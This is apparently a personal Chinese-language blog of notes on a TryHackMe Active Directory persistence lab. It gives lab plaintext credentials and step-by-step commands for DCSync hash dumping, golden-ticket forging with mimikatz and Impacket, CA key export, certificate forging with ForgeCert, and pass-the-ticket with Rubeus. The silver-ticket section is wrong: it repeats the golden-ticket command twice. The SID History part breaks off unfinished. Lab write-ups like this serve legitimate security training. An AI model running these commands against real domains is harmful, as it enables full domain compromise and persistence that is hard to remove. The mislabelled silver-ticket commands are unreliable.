THM Room

grace.clarke
Password1
ssh za\\grace.clarke@thmwrk1.za.tryhackme.loc
Administrator 
tryhackmewouldnotguess1@
ZA
ssh za\\administrator@thmwrk1.za.tryhackme.loc

https://codebeautify.org/ntlm-hash-generator

Persistence through Credentials (通过凭据)

管理员权限

// 针对单个账户
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username>
// 启用日志
mimikatz # log <username>_dcdump.txt
// 域上的所有账户
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all
// 获取用户名
cat <username>_dcdump.txt | grep "SAM Username" 
// 获取hash
cat <username>_dcdump.txt | grep "Hash NTLM"

Persistence through Tickets (通过票证)

金票 和 银票

金票

  • 如果有krbtgt账户的哈希值,则可以创建Tickets
  • 不需要发送AS-REQ向KDC去验证身份

    • 使用krbtgt签署票据就可以验证TGT
    • 给定krbtgt的哈希值,可以欺骗TGT中的时间戳,使票证有效的时间延长
  • 所需:

    • krbtgt ntlm哈希值
    • Domain FQDN 【完全限定域名(英语:Fully qualified domain name)】
    • Domain SID
    • 要模拟的用户名
  • 使用mimikatz伪造金票

    • 获取Domain SID
    Get-ADDomain
    mimikatz # kerberos::golden /admin:St4rry /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt
    mimikatz # exit
    可以使用klist进行验证
  • 清除票据

    • 在mimikatz 下运行 kerberos::purge
    • 借助klist klist purge
  • 可以通过简单地旋转KRBTGT密码两次来防御这种攻击

    • 旋转KRBTGT密码是指更改域控制器上KRBTGT账户的密码。
  • 使用Impacket-ticketer伪造金票

    ticketer.py -nthash 16f9af38fca3ada405386b3b57366082 -domain-sid S-1-5-21-3885271727-2693558621-2658995185  -domain za.tryhackme.loc Thisisuser   
    export KRB5CCNAME=Thisisuser.ccache
    wmiexec.py  -k -no-pass za.tryhackme.loc/administrator@thmdc.za.tryhackme.loc  # 或者其他的,如psexec

银票

  • 与金票相比,影响有限,伪造的是TGS
  • 当用户想要访问特定服务时会请求 TGS 票证

    • TGS是在与KDC进行身份验证后创建的

      • 这意味着,银票永远不需要与 KDC 交谈
      • 只有攻击者和目标服务
    • 服务将在特定机器上运行

      • TGS 将使用机器的哈希进行签名
    • 给定机器的密码哈希:

      • 作为假用户伪造 TGS
      • 更改票证中的组 SID

        • 将我们自己置于目标的特权本地群体中
  • 当拥有机器的访问权限时,修改密码轮换间隔(默认30天)
mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt
mimikatz # kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt

Persistence through Certificates (通过证书)

  • 此攻击围绕获取域的证书颁发机构 (CA) 的私钥进行。
  • 有了私钥,攻击者现在可以有效地“批准”他们自己的证书签名请求(CSR)并为任何用户生成证书。
  • 在 Kerberos 身份验证中,用户可以通过提供其公钥进行身份验证。
    在具有管理员权限的pc上提取私钥

    C:\Tools\mimikatz_trunk\x64\mimikatz.exe
    mimikatz # crypto::certificates /systemstore:local_machine
    mimikatz # privilege::debug
    mimikatz # crypto::capi
    mimikatz # crypto::cng
    mimikatz # crypto::certificates /systemstore:local_machine /export
    mimikatz $ exit

    重点关注导出的za-THMDC-CA.pfx
    使用ForgeCert生成自己的证书

    C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123 
    CaCertPath - 我们导出的 CA 证书的路径。
    CaCertPassword - 用于加密证书的密码。默认情况下,Mimikatz 分配的密码为 mimikatz 。
    Subject: 证书的主题或通用名称。可以为CN=User
    SubjectAltName: 证书模拟的帐户的用户主体名称 (UPN)。它必须是合法用户。
    NewCertPath - ForgeCert 将存储生成的证书的路径。
    NewCertPassword: 证书的密码

使用 Rubeus 来使用证书请求 TGT,以验证证书是否可信

C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:上面生成的证书 /password:密码 /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:DCIP<域控的IP>
/user - 这指定我们将模拟的用户,必须与整数的UPN相同
/enctype - 指定票证的加密类型
/certificate - 我们生成的证书的路径
/password - 我们的证书文件的密码
/outfile - TGT 将输出到的文件 (.kirbi)
/domain - 当前攻击的域的 FQDN
/dc - 请求 TGT 的域控制器的 IP (一般为域控DC)

使用 Mimikatz 加载 TGT

mimikatz # kerberos::ptt administrator.kirbi

证书持久性难以防御。即使你更换被攻陷账户的凭证,证书仍然有效。
唯一消除持久性的方法是吊销证书。
然而,这只有在通过合法渠道生成证书时才可能实现。由于我们导出了 CA 并自行生成了证书,它不会出现在 AD CS 的颁发证书列表中,这意味着蓝队无法吊销我们的证书。
必须吊销根 CA 证书才可以.
吊销这个证书意味着AD CS颁发的所有证书都会突然失效。这意味着他们必须为每个使用 AD CS 的系统生成新证书。\

Persistence through SID History

  • SID History 允许一个账户附加到另一个账户,拥有其权限

    • 常用于在进行域迁移时,新域上的账户可以具有旧域账户的SID 历史记录,以便在迁移期间保留对旧域的访问权限
  • 滥用此功能的一种方法是将特权组(如Domain Admins组)的SID添加到低权限用户的SID History中。

    • 即使用户不是AD中的组成员,系统也会对用户进行授权。

    利用过程
    在具有管理员权限的凭据访问域控(Domain Controller)

    (未完成)
    // 检查低权限用户的SIDHistory 和 组成员身份(memberof)
    Get-ADUser "username" -Pro
Last modification:July 25, 2024
请我喝瓶冰阔落吧